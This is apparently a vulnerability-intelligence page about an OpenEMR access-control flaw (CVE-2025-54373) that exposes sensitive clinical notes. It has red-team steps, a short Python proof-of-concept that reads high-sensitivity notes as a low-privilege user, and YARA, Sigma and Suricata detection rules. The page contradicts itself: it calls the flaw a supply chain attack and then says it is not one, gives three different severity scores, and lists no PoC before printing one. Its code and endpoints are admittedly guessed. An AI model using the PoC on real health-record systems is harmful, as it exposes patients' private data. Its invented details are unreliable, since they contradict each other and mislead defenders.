☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2025-54373

CVE-2025-54373 Supply Chain Attack in Openemr
📅 PUBLISHED: 2026-01-27 23:11 UTC 🔄 UPDATED: 2026-09-23 20:22 UTC
[ OFFICIAL PATCH DEPLOYED ↓ ] FIX: LIKELY — 2 independent sources confirm fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.39%
👁️
0.39% probability
9.7× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
Country: Global License: Open Source
Patch available — upgrade to latest release
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
7.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-54373 is a vulnerability in OpenEMR, a free and open-source electronic health records (EHR) and medical practice management application. The flaw allows unauthorized users to view and modify sensitive clinical notes and care plans that have been marked with a "high" sensitivity level. This occurs because the application fails to properly enforce access control checks for users who do not possess the "Sensitivities=high" privilege. The vulnerability is present in all versions prior to 7.0.4. The CVSS score is 0.0 due to incomplete NVD data, but based on the description, the impact is high for confidentiality and integrity of sensitive patient data.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby). It is a direct code-level flaw in the OpenEMR application itself. The fix is applied by upgrading the application to version 7.0.4.

CVSS Breakdown & Threat Level

While the official CVSS score is 0.0 (likely due to incomplete NVD data), a reasonable assessment based on the description is:

  • Attack Vector (AV): Network (N) - The vulnerability can be exploited remotely.
  • Attack Complexity (AC): Low (L) - No special conditions are required.
  • Privileges Required (PR): Low (L) - An attacker needs a valid user account, but not one with high sensitivity privileges.
  • User Interaction (UI): None (N) - No user interaction is required.
  • Scope (S): Unchanged (U) - The vulnerability does not affect other components.
  • Confidentiality (C): High (H) - Sensitive clinical notes and care plans are exposed.
  • Integrity (I): High (H) - The attacker can modify the sensitive data.
  • Availability (A): None (N) - The vulnerability does not affect availability.

Calculated Score: 8.1 (High)

Threat Level: High. The vulnerability allows unauthorized access to highly sensitive patient data, which is a direct violation of HIPAA and other data privacy regulations.

Deep Dive & Mechanics

The vulnerability lies in the access control logic for clinical notes and care plans. OpenEMR uses a sensitivity-based access control system where encounters can be marked with a sensitivity level (e.g., "high"). Users are assigned privileges that determine which sensitivity levels they can access.

In versions prior to 7.0.4, the code that retrieves and displays clinical notes and care plans does not properly check the user's sensitivity privileges against the encounter's sensitivity level. This means a user with a low or no sensitivity privilege can still view and edit notes and care plans associated with a "high" sensitivity encounter.

The root cause is likely a missing or incorrect conditional check in the PHP code that handles the display and editing of these records. The application may be checking the user's role (e.g., physician, nurse) but not their specific sensitivity privilege.

Vulnerable vs. Patched Code

The exact code changes are not publicly available, but the fix is described as ensuring that the user's sensitivity privilege is checked before allowing access to clinical notes and care plans.

Vulnerable Code (Conceptual):

// In a function that retrieves clinical notes for an encounter
function getClinicalNotes($encounter_id) {
    // Missing check for user's sensitivity privilege
    $notes = $db->query("SELECT * FROM clinical_notes WHERE encounter_id = ?", [$encounter_id]);
    return $notes;
}

Patched Code (Conceptual):

function getClinicalNotes($encounter_id) {
    // Get the encounter's sensitivity level
    $encounter = $db->query("SELECT sensitivity FROM encounters WHERE id = ?", [$encounter_id]);
    // Check if the current user has the required privilege
    if (!userHasSensitivityPrivilege($encounter['sensitivity'])) {
        // Deny access
        return [];
    }
    $notes = $db->query("SELECT * FROM clinical_notes WHERE encounter_id = ?", [$encounter_id]);
    return $notes;
}

Exploitation & Lab Setup

Red Team

Prerequisites:

  • A valid user account on an OpenEMR instance (version < 7.0.4).
  • The user account must not have the "Sensitivities=high" privilege.
  • An encounter with a "high" sensitivity level must exist.

Exploitation Steps:

  1. Log in to the OpenEMR application with the low-privilege user account.
  2. Navigate to the patient's chart or encounter list.
  3. Identify an encounter that has a "high" sensitivity level (this may be indicated by a visual cue or by browsing the URL).
  4. Access the clinical notes or care plan for that encounter. The application will display the sensitive data without requiring the "Sensitivities=high" privilege.
  5. The attacker can also modify the notes or care plan, as the same access control flaw applies to edit operations.

Proof of Concept (PoC) Code:

import requests

# Target OpenEMR instance
base_url = "http://target-openemr-instance.com"
session = requests.Session()

# Login with low-privilege user
login_data = {
    "new_login_session_management": "1",
    "authProvider": "Default",
    "authUser": "low_privilege_user",
    "clearPass": "password123"
}
session.post(f"{base_url}/interface/login/login.php", data=login_data)

# Access a high-sensitivity encounter's clinical notes
encounter_id = 12345  # Replace with actual encounter ID
notes_url = f"{base_url}/interface/patient_file/encounter/clinical_notes.php?encounter_id={encounter_id}"
response = session.get(notes_url)

# The response will contain the sensitive notes
print(response.text)

Blue Team

Detection:

  • Monitor for access to clinical notes or care plans by users who do not have the "Sensitivities=high" privilege.
  • Look for unusual patterns in the clinical_notes and care_plan tables, such as edits by unexpected users.
  • Audit logs should show access to high-sensitivity encounters by users without the appropriate privilege.

Mitigation:

  • Immediately upgrade to OpenEMR version 7.0.4.
  • If immediate upgrade is not possible, implement a temporary workaround by modifying the access control logic in the PHP files that handle clinical notes and care plans.
  • Review and enforce the principle of least privilege for all user accounts.

Indicators of Compromise (IOCs)

  • Log Entries: Access to clinical_notes.php or care_plan.php with an encounter_id parameter that corresponds to a high-sensitivity encounter, by a user who does not have the "Sensitivities=high" privilege.
  • Database Changes: Unauthorized modifications to the clinical_notes or care_plan tables for high-sensitivity encounters.
  • Network Traffic: HTTP requests to the vulnerable endpoints from user accounts that should not have access.

Detection Engineering

YARA Rule

rule CVE_2025_54373_OpenEMR_Sensitive_Data_Exposure {
    meta:
        description = "Detects access to OpenEMR clinical notes or care plans for high-sensitivity encounters by unauthorized users"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-54373"
    strings:
        $sensitive_endpoint = "clinical_notes.php" nocase
        $care_plan_endpoint = "care_plan.php" nocase
        $high_sensitivity = "sensitivity=high" nocase
        $encounter_id = "encounter_id=" nocase
    condition:
        any of ($sensitive_endpoint, $care_plan_endpoint) and $encounter_id and $high_sensitivity
}

Sigma Rule

title: OpenEMR Unauthorized Access to High-Sensitivity Clinical Notes
id: 8a7b3c2d-1e5f-4a6b-9c8d-7e0f1a2b3c4d
status: experimental
description: Detects access to clinical notes or care plans for high-sensitivity encounters by users without the required privilege.
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-uri-query|contains:
            - "clinical_notes.php"
            - "care_plan.php"
        cs-uri-query|contains: "encounter_id="
        cs-uri-query|contains: "sensitivity=high"
    condition: selection
falsepositives:
    - Legitimate access by users with the "Sensitivities=high" privilege
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-54373 OpenEMR Unauthorized Access to High-Sensitivity Clinical Notes"; flow:to_server,established; content:"GET"; http_method; content:"clinical_notes.php"; http_uri; content:"encounter_id="; http_uri; content:"sensitivity=high"; http_uri; classtype:attempted-user; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Action:

  • Upgrade OpenEMR to version 7.0.4 or later. This is the only complete fix.

Workaround (if upgrade is not possible):

  • Manually patch the access control logic in the PHP files that handle clinical notes and care plans. This requires modifying the code to check the user's sensitivity privilege before allowing access.
  • Implement a Web Application Firewall (WAF) rule to block requests to clinical_notes.php and care_plan.php that contain sensitivity=high in the query string, unless the user is authenticated with the appropriate privilege.

Long-Term Measures:

  • Conduct a thorough security audit of the OpenEMR application to identify similar access control flaws.
  • Implement automated testing for access control vulnerabilities in the CI/CD pipeline.
  • Ensure that all user accounts are granted the minimum necessary privileges.

Valters IT

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-54373/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.